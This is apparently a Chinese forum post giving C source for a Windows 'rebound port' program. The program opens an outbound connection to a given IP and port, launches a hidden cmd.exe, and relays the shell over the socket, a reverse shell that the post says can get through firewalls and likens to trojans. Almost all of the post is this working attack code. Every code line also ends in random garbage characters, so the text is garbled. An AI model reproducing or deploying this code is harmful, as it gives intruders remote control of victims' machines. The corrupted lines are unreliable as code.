Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 w,}}mC)\*  
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/* ============================== f6|3| +  
Rebound port in Windows NT iU%Gvf^?'5  
By wind,2006/7 HENCQ_Wra  
===============================*/ )&R;!#;5  
#include ['R=@.  
#include hLm9"N'Pf  
B.P64"w  
#pragma comment(lib,"wsock32.lib") "BFW&<1  
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void OutputShell(); e/Q[%y.X  
SOCKET sClient; 5\4>H6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; o~4n8  
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void main(int argc,char **argv) ~-:CN(U  
{ &PgdCijGq;  
WSADATA stWsaData;  v$tS2N2  
int nRet; cF(9[8c{  
SOCKADDR_IN stSaiClient,stSaiServer; 4tuEC-oh  
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if(argc != 3) E?9_i :IX  
{ 1MahFeQ[  
printf("Useage:\n\rRebound DestIP DestPort\n"); 8OFrW.>[  
return; ZcWl{e4  
} <M&]*|q>g%  
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WSAStartup(MAKEWORD(2,2),&stWsaData); epG;=\f}m`  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =oh6;Ojt  
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stSaiClient.sin_family = AF_INET; $1dI  
stSaiClient.sin_port = htons(0); |Q I3H]T7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  +;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /uyQ>Y*-\Y  
{ 4Dd9cG,lN  
printf("Bind Socket Failed!\n"); RsOK5XnQn  
return; "LxJPt\  
} @2$8o]et  
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stSaiServer.sin_family = AF_INET; @<6-uk3S  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zp9 ?Ia  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); o>*{5>#k'  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3
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{ 8/F2V?iT  
printf("Connect Error!"); R|M:6]}   
return; nWl0R=  
} $U0(%lIU  
OutputShell(); uf>w*[m5  
} @'rO=(-b  
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void OutputShell() ;C{_T:LS  
{ '9[_w$~(  
char szBuff[1024];  y]+A7|  
SECURITY_ATTRIBUTES stSecurityAttributes; /vV 0$vg  
OSVERSIONINFO stOsversionInfo; .Lp-'!i  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e=R} 4`  
STARTUPINFO stStartupInfo; .cabw+&7  
char *szShell; <5#e.w  
PROCESS_INFORMATION stProcessInformation; 8&;dR  
unsigned long lBytesRead; ri^yal<'  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); G
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WE"'3u
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stSecurityAttributes.lpSecurityDescriptor = 0; ie,{C  
stSecurityAttributes.bInheritHandle = TRUE; 950b9Vn&  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M@K[i*e  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5a~1RL  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \wCL)t.cX  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ii8jY_  
stStartupInfo.wShowWindow = SW_HIDE; P}I*SV0  
stStartupInfo.hStdInput = hReadPipe; \'KzSkC8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #n7{ 3)   
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GetVersionEx(&stOsversionInfo); X<{m;T `  
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switch(stOsversionInfo.dwPlatformId) $d=lDN  
{ DNy)\+[  
case 1: ;@ e|}Gk  
szShell = "command.com"; :+=*  
break; IviWS84  
default: Pm
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szShell = "cmd.exe"; 21[F%,{.),  
break; *+z({S_Nv  
} ;1 fML,8  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 88K*d8m  
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send(sClient,szMsg,77,0); 3:(`#YY  
while(1) rij[ZrJ  
{ 4Uiqi{}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]VME`]t`  
if(lBytesRead) 1}pR')YL[  
{ fjFy$NX&>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =jN]ckn  
send(sClient,szBuff,lBytesRead,0); WToAT;d2h  
} ]*|K8&jxl  
else ;'p'8lts  
{ 7`}z7nk  
lBytesRead=recv(sClient,szBuff,1024,0); P33E\O  
if(lBytesRead<=0) break; kYAvzuGRb  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^bG!k]U!2  
} +9X[gef8  
} )3AT=b  
i@* ^]'
  
return; 9& j]  
}